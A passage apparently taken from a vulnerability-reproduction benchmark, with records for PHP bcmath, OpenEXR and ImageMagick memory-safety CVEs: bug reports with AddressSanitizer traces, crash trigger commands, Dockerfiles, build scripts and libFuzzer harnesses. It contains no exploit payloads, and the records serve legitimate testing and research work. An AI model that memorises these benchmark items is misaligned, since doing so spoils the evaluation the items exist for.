/home/fmunozs/phpgit/php56/Zend/zend_vm_execute.h:363 #5 0x9a6c9c8 in zend_execute /home/fmunozs/phpgit/php56/Zend/zend_vm_execute.h:388 #6 0x9470b59 in zend_execute_scripts /home/fmunozs/phpgit/php56/Zend/zend.c:1341 #7 0x91acc6b in php_execute_script /home/fmunozs/phpgit/php56/main/main.c:2613 #8 0x9a8648a in do_cli /home/fmunozs/phpgit/php56/sapi/cli/php_cli.c:994 #9 0x808a502 in main /home/fmunozs/phpgit/php56/sapi/cli/php_cli.c:1378 #10 0xb6dbe645 in __libc_start_main (/lib/i386-linux-gnu/libc.so.6+0x18645) #11 0x808aaba (/home/fmunozs/phpgit/php56/sapi/cli/php+0x808aaba) 0xb3805f68 is located 8 bytes to the left of 8-byte region [0xb3805f70,0xb3805f78) freed by thread T0 here: #0 0xb726f9f4 in free (/usr/lib/i386-linux-gnu/libasan.so.2+0x969f4) #1 0xb334c911 (/usr/lib/i386-linux-gnu/libtasn1.so.6+0xa911) previously allocated by thread T0 here: #0 0xb726fd06 in malloc (/usr/lib/i386-linux-gnu/libasan.so.2+0x96d06) #1 0xb334c17e (/usr/lib/i386-linux-gnu/libtasn1.so.6+0xa17e) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/fmunozs/phpgit/php56/ext/bcmath/libbcmath/src/div.c:122 bc_divide Shadow bytes around the buggy address: 0x36700b90: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa 0x36700ba0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa 0x36700bb0: fa fa fd fa fa fa 00 00 fa fa fd fa fa fa fd fa 0x36700bc0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa 0x36700bd0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa =>0x36700be0: fa fa fd fa fa fa fd fa fa fa fd fa fa[fa]fd fa 0x36700bf0: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa 0x36700c00: fa fa 01 fa fa fa 01 fa fa fa 01 fa fa fa 00 06 0x36700c10: fa fa 00 03 fa fa 00 05 fa fa 00 06 fa fa 00 07 0x36700c20: fa fa 00 00 fa fa 00 07 fa fa 00 00 fa fa 00 05 0x36700c30: fa fa 00 07 fa fa 00 07 fa fa 00 00 fa fa 00 00 Shadow byte legend (one shadow byte represents 8 application bytes): Addressable: 00 Partially addressable: 01 02 03 04 05 06 07 Heap left redzone: fa Heap right redzone: fb Freed heap region: fd Stack left redzone: f1 Stack mid redzone: f2 Stack right redzone: f3 Stack partial redzone: f4 Stack after return: f5 Stack use after scope: f8 Global redzone: f9 Global init order: f6 Poisoned by user: f7 Container overflow: fc Array cookie: ac Intra object redzone: bb ASan internal: fe ==15893==ABORTING Comments: [Comment 1] [2016-04-25 01:31 UTC] stas@php.net Two problems here actually: bcpowmod accepting negative scale and _one_ definition being overridden by scale adjustment. [Comment 2] [2016-04-25 01:35 UTC] stas@php.net Fixed in security repo in d650063a0457aec56364e4005a636dc6c401f9cd and on gist in https://gist.github.com/21c94ad05a2ab960c7631ad9999a1044 . Please verify. Links: https://gist.github.com/21c94ad05a2ab960c7631ad9999a1044 [Comment 3] [2016-04-25 03:51 UTC] fernando at null-life dot com Patch works OK. Thanks. [Comment 4] [2016-04-27 05:57 UTC] stas@php.net The fix for this bug has been committed. Snapshots of the sources are packaged every three hours; this change will be in the next snapshot. You can grab the snapshot at http://snaps.php.net/. For Windows: http://windows.php.net/snapshots/ Thank you for the report, and for helping us make PHP better. Links: http://snaps.php.net/, http://windows.php.net/snapshots/ [Comment 8] [2016-05-06 06:43 UTC] remi@php.net Use CVE-2016-4537 for "bcpowmod accepting negative scale." Use CVE-2016-4538 for "_one_ definition being overridden by scale adjustment." Commit References: d650063a0457aec56364e4005a636dc6c401f9cd
[]
[ { "sha": "d650063a0457aec56364e4005a636dc6c401f9cd", "url": "https://github.com/php/php-src/commit/d650063a0457aec56364e4005a636dc6c401f9cd" }, { "sha": "c05240731", "url": null }, { "sha": "c05320149", "url": null }, { "sha": "c05390722", "url": null } ]
openexr.cve-2020-16588
academysoftwarefoundation/openexr
6bb36714528a9563dd3b92720c5063a1284b86f8
2019-07-25T04:06:42
openexr
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool zlib1g-dev RUN git clone https://github.com/academysoftwarefoundation/openexr openexr RUN git -C openexr checkout 6bb36714528a9563dd3b92720c5063a1284b86f8 WORKDIR $SRC/openexr COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu cmake $SRC/openexr ${CMAKE_SETTINGS[@]} make -j$(nproc)
/src/openexr
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/AcademySoftwareFoundation/openexr/issues/493 ## Description: Issue: AcademySoftwareFoundation/openexr#493 Title: SEGV exrmakepreview in makePreview.cpp:132 State: closed Created by: strongcourage Created at: 2019-07-24 15:47:58+00:00 Labels: Bug Issue Body: Hi, I found a null pointer dereference bug on exrmakepreview (the latest commit 9410823 on master). PoC: https://github.com/strongcourage/PoCs/blob/master/openexr_9410823/PoC_npd_generatePreview Command: exrmakepreview -v $PoC /dev/null ASAN says: ~~~ ==5549==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x000000402db3 bp 0x7fbf849cd800 sp 0x7ffe12fc8050 T0) #0 0x402db2 in generatePreview /home/dungnguyen/gueb-testing/openexr/OpenEXR/exrmakepreview/makePreview.cpp:132 #1 0x402db2 in makePreview(char const*, char const*, int, float, bool) /home/dungnguyen/gueb-testing/openexr/OpenEXR/exrmakepreview/makePreview.cpp:162 #2 0x402187 in main /home/dungnguyen/gueb-testing/openexr/OpenEXR/exrmakepreview/main.cpp:185 #3 0x7fbf8244082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f) #4 0x402428 in _start (/home/dungnguyen/PoCs/openexr_9410823/exrmakepreview-asan+0x402428) ~~~ Thanks, Manh Dung Comments: Comment by carnil on 2020-12-10 20:55:49+00:00: CVE-2020-16588 seems to have been assigned for this issue. --- Comment by theta682 on 2020-12-14 01:55:53+00:00: Please, communicate with NVD (https://nvd.nist.gov/info) and update the applicable version. As I understand it was fixed in 2.4.0. --- Comment by meshula on 2020-12-14 08:05:14+00:00: @theta682 when you say communicate with NVD, do you mean send an email to the "general contact" address? I don't spot tools or instructions on their website to update the applicable version on either the info page or on the page specifically for this issue. (https://nvd.nist.gov/vuln/detail/CVE-2020-16588) --- Comment by strongcourage on 2020-12-14 08:09:08+00:00: Hi all, I requested a CVE for this bugs several months ago, and recently this one has been asssigned a CVE. In my report, I showed that this bug has been fixed by the developers. You can see the fix commit in the references. So I think we don't need to do anything. Best, MD --- Comment by meshula on 2020-12-14 18:37:40+00:00: Great, thanks for looking into it! --- Comment by theta682 on 2020-12-14 21:44:52+00:00: @meshula on https://nvd.nist.gov/info you can find the e-mail (nvd@nist.gov). Previously I contacted them and they updated the CVE which I asked to update.
[ { "content": "// Copyright 2020 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n#include <vector>\n\n#include <ImfArray.h>\n#include <ImfChannelList.h>\n#include <ImfDeepFrameBuffer.h>\n#include <ImfDeepScanLineInputPart.h>\n#include <ImfMultiPartInputFile.h>\n#include <ImfNamespace.h>\n\nnamespace IMF = OPENEXR_IMF_NAMESPACE;\nusing namespace IMF;\nusing IMATH_NAMESPACE::Box2i;\nusing IMATH_NAMESPACE::V2i;\n\nnamespace {\n\nconst int width = 90;\nconst int height = 80;\nconst int minX = 10;\nconst int minY = 11;\nconst Box2i dataWindow(V2i(minX, minY),\n V2i(minX + width - 1, minY + height - 1));\nconst Box2i displayWindow(V2i(0, 0), V2i(minX + width * 2, minY + height * 2));\n\ntemplate <typename T>\nstatic void readFile(T *inpart) {\n const Header &fileHeader = inpart->header();\n\n int channelCount = 0;\n for (ChannelList::ConstIterator i = fileHeader.channels().begin();\n i != fileHeader.channels().end(); ++i, ++channelCount) {\n }\n\n Array2D<unsigned int> localSampleCount;\n localSampleCount.resizeErase(height, width);\n Array<Array2D<void *> > data(channelCount);\n\n for (int i = 0; i < channelCount; i++) data[i].resizeErase(height, width);\n\n DeepFrameBuffer frameBuffer;\n\n frameBuffer.insertSampleCountSlice(\n Slice(IMF::UINT,\n (char *)(&localSampleCount[0][0] - dataWindow.min.x -\n dataWindow.min.y * width),\n sizeof(unsigned int) * 1, sizeof(unsigned int) * width));\n\n std::vector<int> read_channel(channelCount);\n\n for (int i = 0; i < channelCount; i++) {\n PixelType type = IMF::FLOAT;\n\n std::stringstream ss;\n ss << i;\n std::string str = ss.str();\n\n int sampleSize = sizeof(float);\n\n int pointerSize = sizeof(char *);\n\n frameBuffer.insert(\n str, DeepSlice(type,\n (char *)(&data[i][0][0] - dataWindow.min.x -\n dataWindow.min.y * width),\n pointerSize * 1, pointerSize * width, sampleSize));\n }\n\n inpart->setFrameBuffer(frameBuffer);\n inpart->readPixelSampleCounts(dataWindow.min.y, dataWindow.max.y);\n for (int i = 0; i < dataWindow.max.y - dataWindow.min.y + 1; i++) {\n int y = i + dataWindow.min.y;\n\n for (int j = 0; j < width; j++) {\n for (int k = 0; k < channelCount; k++) {\n data[k][i][j] = new float[localSampleCount[i][j]];\n }\n }\n }\n try {\n inpart->readPixels(dataWindow.min.y, dataWindow.max.y);\n } catch (...) {\n }\n\n for (int i = 0; i < height; i++) {\n for (int j = 0; j < width; j++) {\n for (int k = 0; k < channelCount; k++) {\n delete[](float *) data[k][i][j];\n }\n }\n }\n}\n\nstatic void readFileSingle(const char filename[]) {\n DeepScanLineInputFile *file = NULL;\n try {\n file = new DeepScanLineInputFile(filename, 0);\n } catch (...) {\n return;\n }\n\n try {\n readFile(file);\n } catch (std::exception &e) {\n }\n\n delete file;\n}\n\nstatic void readFileMulti(const char filename[]) {\n MultiPartInputFile *file = NULL;\n try {\n file = new MultiPartInputFile(filename, 0);\n } catch (...) {\n return;\n }\n\n for (int p = 0; p < file->parts(); p++) {\n DeepScanLineInputPart *inpart = NULL;\n try {\n inpart = new DeepScanLineInputPart(*file, p);\n } catch (...) {\n continue;\n }\n try {\n readFile(inpart);\n } catch (std::exception &e) {\n }\n delete inpart;\n }\n\n delete file;\n}\n\n} // namespace\n\n// from cl/164883104\nstatic char *buf_to_file(const char *buf, size_t size) {\n char *name = strdup(\"/dev/shm/fuzz-XXXXXX\");\n int fd = mkstemp(name);\n if (fd < 0) {\n perror(\"open\");\n exit(1);\n }\n size_t pos = 0;\n while (pos < size) {\n int nbytes = write(fd, &buf[pos], size - pos);\n if (nbytes <= 0) {\n perror(\"write\");\n exit(1);\n }\n pos += nbytes;\n }\n if (close(fd) != 0) {\n perror(\"close\");\n exit(1);\n }\n return name;\n}\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char *file = buf_to_file((const char *)data, size);\n readFileSingle(file);\n readFileMulti(file);\n unlink(file);\n free(file);\n return 0;\n}\n", "filename": "openexr_deepscanlines_fuzzer.cc" }, { "content": "// Copyright 2020 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include <ImfArray.h>\n#include <ImfChannelList.h>\n#include <ImfDeepTiledInputFile.h>\n#include <ImfDeepTiledInputPart.h>\n#include <ImfTiledInputPart.h>\n\nnamespace IMF = OPENEXR_IMF_NAMESPACE;\nusing namespace IMF;\nusing IMATH_NAMESPACE::Box2i;\n\nnamespace {\n\ntemplate <typename T>\nstatic void readFile(T *part) {\n const Header &fileHeader = part->header();\n\n Array2D<unsigned int> localSampleCount;\n\n Box2i dataWindow = fileHeader.dataWindow();\n\n int height = dataWindow.size().y + 1;\n int width = dataWindow.size().x + 1;\n\n localSampleCount.resizeErase(height, width);\n\n int channelCount = 0;\n for (ChannelList::ConstIterator i = fileHeader.channels().begin();\n i != fileHeader.channels().end(); ++i, channelCount++) {\n }\n\n Array<Array2D<void *> > data(channelCount);\n\n for (int i = 0; i < channelCount; i++) {\n data[i].resizeErase(height, width);\n }\n\n DeepFrameBuffer frameBuffer;\n\n int memOffset = dataWindow.min.x + dataWindow.min.y * width;\n frameBuffer.insertSampleCountSlice(\n Slice(IMF::UINT, (char *)(&localSampleCount[0][0] - memOffset),\n sizeof(unsigned int) * 1, sizeof(unsigned int) * width));\n\n for (int i = 0; i < channelCount; i++) {\n std::stringstream ss;\n ss << i;\n std::string str = ss.str();\n\n int sampleSize = sizeof(float);\n\n int pointerSize = sizeof(char *);\n\n frameBuffer.insert(\n str, DeepSlice(IMF::FLOAT, (char *)(&data[i][0][0] - memOffset),\n pointerSize * 1, pointerSize * width, sampleSize));\n }\n\n part->setFrameBuffer(frameBuffer);\n for (int ly = 0; ly < part->numYLevels(); ly++) {\n for (int lx = 0; lx < part->numXLevels(); lx++) {\n Box2i dataWindowL = part->dataWindowForLevel(lx, ly);\n\n part->readPixelSampleCounts(0, part->numXTiles(lx) - 1, 0,\n part->numYTiles(ly) - 1, lx, ly);\n\n for (int i = 0; i < part->numYTiles(ly); i++) {\n for (int j = 0; j < part->numXTiles(lx); j++) {\n Box2i box = part->dataWindowForTile(j, i, lx, ly);\n for (int y = box.min.y; y <= box.max.y; y++)\n for (int x = box.min.x; x <= box.max.x; x++) {\n int dwy = y - dataWindowL.min.y;\n int dwx = x - dataWindowL.min.x;\n\n for (int k = 0; k < channelCount; k++) {\n data[k][dwy][dwx] = new float[localSampleCount[dwy][dwx]];\n }\n }\n }\n }\n\n try {\n part->readTiles(0, part->numXTiles(lx) - 1, 0, part->numYTiles(ly) - 1,\n lx, ly);\n } catch (...) {\n }\n\n for (int i = 0; i < part->levelHeight(ly); i++) {\n for (int j = 0; j < part->levelWidth(lx); j++) {\n for (int k = 0; k < channelCount; k++) {\n delete[](float *) data[k][i][j];\n }\n }\n }\n }\n }\n}\n\nstatic void readFileSingle(const char filename[]) {\n DeepTiledInputFile *file;\n try {\n file = new DeepTiledInputFile(filename, 8);\n } catch (...) {\n return;\n }\n\n try {\n readFile(file);\n } catch (std::exception &e) {\n }\n\n delete file;\n}\n\nstatic void readFileMulti(const char filename[]) {\n MultiPartInputFile *file;\n\n try {\n file = new MultiPartInputFile(filename, 8);\n } catch (...) {\n return;\n }\n\n for (int p = 0; p < file->parts(); p++) {\n DeepTiledInputPart *part;\n try {\n part = new DeepTiledInputPart(*file, p);\n } catch (...) {\n continue;\n }\n\n try {\n readFile(part);\n } catch (...) {\n }\n\n delete part;\n }\n\n delete file;\n}\n\n} // namespace\n\n// from cl/164883104\nstatic char *buf_to_file(const char *buf, size_t size) {\n char *name = strdup(\"/dev/shm/fuzz-XXXXXX\");\n int fd = mkstemp(name);\n if (fd < 0) {\n perror(\"open\");\n exit(1);\n }\n size_t pos = 0;\n while (pos < size) {\n int nbytes = write(fd, &buf[pos], size - pos);\n if (nbytes <= 0) {\n perror(\"write\");\n exit(1);\n }\n pos += nbytes;\n }\n if (close(fd) != 0) {\n perror(\"close\");\n exit(1);\n }\n return name;\n}\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char *file = buf_to_file((const char *)data, size);\n Header::setMaxImageSize(10000, 10000);\n readFileSingle(file);\n readFileMulti(file);\n unlink(file);\n free(file);\n return 0;\n}\n", "filename": "openexr_deeptiles_fuzzer.cc" }, { "content": "// Copyright 2020 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include <ImfArray.h>\n#include <ImfInputPart.h>\n#include <ImfMultiPartInputFile.h>\n#include <ImfRgbaFile.h>\n\nusing namespace OPENEXR_IMF_INTERNAL_NAMESPACE;\nusing IMATH_NAMESPACE::Box2i;\n\nnamespace {\n\nstatic void readSingle(const char fileName[]) {\n RgbaInputFile *in = NULL;\n try {\n in = new RgbaInputFile(fileName);\n } catch (...) {\n return;\n }\n\n try {\n const Box2i &dw = in->dataWindow();\n\n int w = dw.max.x - dw.min.x + 1;\n int dx = dw.min.x;\n\n if (w > (1 << 24)) return;\n\n Array<Rgba> pixels(w);\n in->setFrameBuffer(&pixels[-dx], 1, 0);\n\n for (int y = dw.min.y; y <= dw.max.y; ++y) in->readPixels(y);\n } catch (...) {\n }\n\n delete in;\n}\n\nstatic void readMulti(const char fileName[]) {\n MultiPartInputFile *file;\n try {\n file = new MultiPartInputFile(fileName);\n } catch (...) {\n return;\n }\n\n for (int p = 0; p < file->parts(); p++) {\n InputPart *in;\n try {\n in = new InputPart(*file, p);\n } catch (...) {\n continue;\n }\n\n try {\n const Box2i &dw = in->header().dataWindow();\n\n int w = dw.max.x - dw.min.x + 1;\n int dx = dw.min.x;\n\n if (w > (1 << 24)) return;\n\n Array<Rgba> pixels(w);\n FrameBuffer i;\n i.insert(\"R\", Slice(HALF, (char *)&(pixels[-dx].r), sizeof(Rgba), 0));\n i.insert(\"G\", Slice(HALF, (char *)&(pixels[-dx].g), sizeof(Rgba), 0));\n i.insert(\"B\", Slice(HALF, (char *)&(pixels[-dx].b), sizeof(Rgba), 0));\n i.insert(\"A\", Slice(HALF, (char *)&(pixels[-dx].a), sizeof(Rgba), 0));\n\n in->setFrameBuffer(i);\n for (int y = dw.min.y; y <= dw.max.y; ++y) in->readPixels(y);\n } catch (...) {\n }\n\n delete in;\n }\n\n delete file;\n}\n\n} // namespace\n\n// from cl/164883104\nstatic char *buf_to_file(const char *buf, size_t size) {\n char *name = strdup(\"/dev/shm/fuzz-XXXXXX\");\n int fd = mkstemp(name);\n if (fd < 0) {\n perror(\"open\");\n exit(1);\n }\n size_t pos = 0;\n while (pos < size) {\n int nbytes = write(fd, &buf[pos], size - pos);\n if (nbytes <= 0) {\n perror(\"write\");\n exit(1);\n }\n pos += nbytes;\n }\n if (close(fd) != 0) {\n perror(\"close\");\n exit(1);\n }\n return name;\n}\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char *file = buf_to_file((const char *)data, size);\n readSingle(file);\n readMulti(file);\n unlink(file);\n free(file);\n return 0;\n}\n", "filename": "openexr_scanlines_fuzzer.cc" }, { "content": "// Copyright 2020 Google LLC\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n\n#include <ImfArray.h>\n#include <ImfTiledRgbaFile.h>\n\n// Handle the case when the custom namespace is not exposed\n#include <ImfChannelList.h>\n#include <ImfMultiPartInputFile.h>\n#include <ImfMultiPartOutputFile.h>\n#include <ImfPartType.h>\n#include <ImfTiledInputPart.h>\n#include <ImfTiledOutputPart.h>\n#include <OpenEXRConfig.h>\n\nusing namespace OPENEXR_IMF_INTERNAL_NAMESPACE;\nusing IMATH_NAMESPACE::Box2i;\n\nnamespace {\n\nvoid readImageONE(TiledRgbaInputFile *in, int dwx, int dwy) {\n try {\n const Box2i &dw = in->dataWindow();\n\n int w = dw.max.x - dw.min.x + 1;\n int h = dw.max.y - dw.min.y + 1;\n\n Array2D<Rgba> pixels(h, w);\n in->setFrameBuffer(&pixels[-dwy][-dwx], 1, w);\n in->readTiles(0, in->numXTiles() - 1, 0, in->numYTiles() - 1);\n } catch (...) {\n }\n}\n\nvoid readImageONE2(const char fileName[]) {\n MultiPartInputFile *in;\n try {\n in = new MultiPartInputFile(fileName);\n } catch (...) {\n return;\n }\n\n TiledInputPart *inpart;\n try {\n for (int p = 0; p < in->parts(); p++) {\n try {\n inpart = new TiledInputPart(*in, p);\n } catch (...) {\n inpart = NULL;\n continue;\n }\n\n const Box2i &dw = inpart->header().dataWindow();\n\n int w = dw.max.x - dw.min.x + 1;\n int h = dw.max.y - dw.min.y + 1;\n int dwx = dw.min.x;\n int dwy = dw.min.y;\n\n Array2D<Rgba> pixels(h, w);\n FrameBuffer i;\n i.insert(\"R\", Slice(HALF, (char *)&(pixels[-dwy][-dwx].r), sizeof(Rgba),\n w * sizeof(Rgba)));\n i.insert(\"G\", Slice(HALF, (char *)&(pixels[-dwy][-dwx].g), sizeof(Rgba),\n w * sizeof(Rgba)));\n i.insert(\"B\", Slice(HALF, (char *)&(pixels[-dwy][-dwx].b), sizeof(Rgba),\n w * sizeof(Rgba)));\n i.insert(\"A\", Slice(HALF, (char *)&(pixels[-dwy][-dwx].a), sizeof(Rgba),\n w * sizeof(Rgba)));\n\n inpart->setFrameBuffer(i);\n inpart->readTiles(0, inpart->numXTiles() - 1, 0, inpart->numYTiles() - 1);\n\n delete inpart;\n inpart = NULL;\n }\n } catch (...) {\n delete inpart;\n }\n\n delete in;\n}\n\nvoid readImageMIP(TiledRgbaInputFile *in, int dwx, int dwy) {\n try {\n int numLevels = in->numLevels();\n Array<Array2D<Rgba> > levels2(numLevels);\n\n for (int level = 0; level < numLevels; ++level) {\n int levelWidth = in->levelWidth(level);\n int levelHeight = in->levelHeight(level);\n levels2[level].resizeErase(levelHeight, levelWidth);\n\n in->setFrameBuffer(&(levels2[level])[-dwy][-dwx], 1, levelWidth);\n in->readTiles(0, in->numXTiles(level) - 1, 0, in->numYTiles(level) - 1,\n level);\n }\n } catch (...) {\n }\n}\n\nvoid readImageRIP(TiledRgbaInputFile *in, int dwx, int dwy) {\n try {\n int numXLevels = in->numXLevels();\n int numYLevels = in->numYLevels();\n Array2D<Array2D<Rgba> > levels2(numYLevels, numXLevels);\n\n for (int ylevel = 0; ylevel < numYLevels; ++ylevel) {\n for (int xlevel = 0; xlevel < numXLevels; ++xlevel) {\n int levelWidth = in->levelWidth(xlevel);\n int levelHeight = in->levelHeight(ylevel);\n levels2[ylevel][xlevel].resizeErase(levelHeight, levelWidth);\n in->setFrameBuffer(&(levels2[ylevel][xlevel])[-dwy][-dwx], 1,\n levelWidth);\n\n in->readTiles(0, in->numXTiles(xlevel) - 1, 0,\n in->numYTiles(ylevel) - 1, xlevel, ylevel);\n }\n }\n } catch (...) {\n }\n}\n\n} // namespace\n\nstatic void fuzzImage(const char filename[]) {\n Header::setMaxImageSize(10000, 10000);\n Header::setMaxTileSize(10000, 10000);\n\n TiledRgbaInputFile *in;\n try {\n in = new TiledRgbaInputFile(filename);\n } catch (...) {\n return;\n }\n\n const Box2i &dw = in->dataWindow();\n int dwx = dw.min.x;\n int dwy = dw.min.y;\n\n readImageMIP(in, dwx, dwy);\n readImageRIP(in, dwx, dwy);\n readImageONE(in, dwx, dwy);\n readImageONE2(filename);\n\n delete in;\n}\n\n// from cl/164883104\nstatic char *buf_to_file(const char *buf, size_t size) {\n char *name = strdup(\"/dev/shm/fuzz-XXXXXX\");\n int fd = mkstemp(name);\n if (fd < 0) {\n perror(\"open\");\n exit(1);\n }\n size_t pos = 0;\n while (pos < size) {\n int nbytes = write(fd, &buf[pos], size - pos);\n if (nbytes <= 0) {\n perror(\"write\");\n exit(1);\n }\n pos += nbytes;\n }\n if (close(fd) != 0) {\n perror(\"close\");\n exit(1);\n }\n return name;\n}\n\nextern \"C\" int LLVMFuzzerTestOneInput(const uint8_t *data, size_t size) {\n char *file = buf_to_file((const char *)data, size);\n fuzzImage(file);\n unlink(file);\n free(file);\n return 0;\n}\n", "filename": "openexr_tiles_fuzzer.cc" } ]
[ { "sha": "74504503cff86e986bac441213c403b0ba28d58f", "url": "https://github.com/fnordware/openexr/commit/74504503cff86e986bac441213c403b0ba28d58f" }, { "sha": "587ad0ead9b38fd7ced800389bf024820626aa80", "url": "https://github.com/peterhillman/openexr/commit/587ad0ead9b38fd7ced800389bf024820626aa80" }, { "sha": "781223ee0f2446ec5f37f353b5759f6803c38a56", "url": "https://github.com/boris-fx/mocha-openexr/commit/781223ee0f2446ec5f37f353b5759f6803c38a56" } ]
imagemagick.cve-2017-17504
imagemagick/imagemagick
4b484c9ca35c78a828c3ca6a8d077ac1ce3fdecb
2017-11-28T19:33:32
imagemagick
c++
FROM hwiwonlee/secb.base:latest RUN apt-get update && apt-get install -y make autoconf automake libtool RUN git clone https://github.com/imagemagick/imagemagick imagemagick RUN git -C imagemagick checkout 4b484c9ca35c78a828c3ca6a8d077ac1ce3fdecb WORKDIR $SRC/imagemagick COPY build.sh $SRC/
#!/bin/bash -eu # Minimized build script with only core build commands set -eu ./configure --prefix="$WORK" --disable-shared --disable-docs make "-j$(nproc)" make install -j$(nproc)
/src/imagemagick
address
================= Bug Report (1/1) ================== ## Source: GitHub Issue ## URL: https://github.com/ImageMagick/ImageMagick/issues/872 ## Description: Issue: ImageMagick/ImageMagick#872 Title: heap-buffer-overflow in Magick_png_read_raw_profile State: closed Created by: henices Created at: 2017-11-21 05:39:48+00:00 Labels: bug Issue Body: $ convert -version Version: ImageMagick 7.0.7-12 Q16 x86_64 2017-11-21 http://www.imagemagick.org Copyright: © 1999-2017 ImageMagick Studio LLC License: http://www.imagemagick.org/script/license.php Features: Cipher DPC HDRI OpenMP Delegates (built-in): bzlib fontconfig freetype jng jpeg pangocairo png x xml zlib commit: 6645a122ee83105008e8447f92555e4a9e307ecf compile at ubuntu 14.04 x86_64 Trigger Command: **convert Magick_png_read_raw_profile-heap-overflow /dev/null** ``` ==25042== ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60060001dd58 at pc 0x7f27e3c6f8a7 bp 0x7fff78c5f4c0 sp 0x7fff78c5f4b8 READ of size 1 at 0x60060001dd58 thread T0 #0 0x7f27e3c6f8a6 in Magick_png_read_raw_profile /home/henices/ImageMagick/coders/png.c:1804 #1 0x7f27e3c7982f in ReadOnePNGImage /home/henices/ImageMagick/coders/png.c:3855 #2 0x7f27e3c7ac76 in ReadPNGImage /home/henices/ImageMagick/coders/png.c:4236 #3 0x7f27e361f721 in ReadImage /home/henices/ImageMagick/MagickCore/constitute.c:497 #4 0x7f27e3621d87 in ReadImages /home/henices/ImageMagick/MagickCore/constitute.c:866 #5 0x7f27e2e3b79b in ConvertImageCommand /home/henices/ImageMagick/MagickWand/convert.c:641 #6 0x7f27e2fdea10 in MagickCommandGenesis /home/henices/ImageMagick/MagickWand/mogrify.c:183 #7 0x40164c in MagickMain /home/henices/ImageMagick/utilities/magick.c:149 #8 0x4017e1 in main /home/henices/ImageMagick/utilities/magick.c:180 #9 0x7f27e2761f44 in __libc_start_main /build/eglibc-SvCtMH/eglibc-2.19/csu/libc-start.c:287 #10 0x401198 in _start (/usr/local/bin/magick+0x401198) 0x60060001dd58 is located 0 bytes to the right of 24-byte region [0x60060001dd40,0x60060001dd58) allocated by thread T0 here: #0 0x7f27e42ba41a in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.0+0x1541a) #1 0x7f27e3800279 in AcquireMagickMemory /home/henices/ImageMagick/MagickCore/memory.c:464 #2 0x7f27e3c6f389 in Magick_png_malloc /home/henices/ImageMagick/coders/png.c:1756 #3 0x7f27e1ec5fff in png_malloc (/lib/x86_64-linux-gnu/libpng12.so.0+0x1afff) SUMMARY: AddressSanitizer: heap-buffer-overflow /home/henices/ImageMagick/coders/png.c:1804 Magick_png_read_raw_profile Shadow bytes around the buggy address: 0x0c013fffbb50: 00 00 fa fa 00 00 00 00 fa fa 00 00 00 00 fa fa 0x0c013fffbb60: 00 00 00 02 fa fa 00 00 03 fa fa fa 00 00 00 00 0x0c013fffbb70: fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 00 00 0x0c013fffbb80: 03 fa fa fa 00 00 00 00 fa fa 00 00 06 fa fa fa 0x0c013fffbb90: 00 00 00 00 fa fa 00 00 00 fa fa fa 00 00 00 00 =>0x0c013fffbba0: fa fa 00 00 00 01 fa fa 00 00 00[fa]fa fa fd fd 0x0c013fffbbb0: fd fd fa fa fd fd fd fa fa fa 00 00 00 00 fa fa 0x0c013fffbbc0: 00 00 06 fa fa fa 00 00 00 00 fa fa 00 00 06 fa 0x0c013fffbbd0: fa fa 00 00 00 00 fa fa 00 00 05 fa fa fa 00 00 0x0c013fffbbe0: 00 00 fa fa 00 00 04 fa fa fa 00 00 00 00 fa fa 0x0c013fffbbf0: 00 00 00 07 fa fa 00 00 00 03 fa fa 00 00 00 00 Shadow byte legend 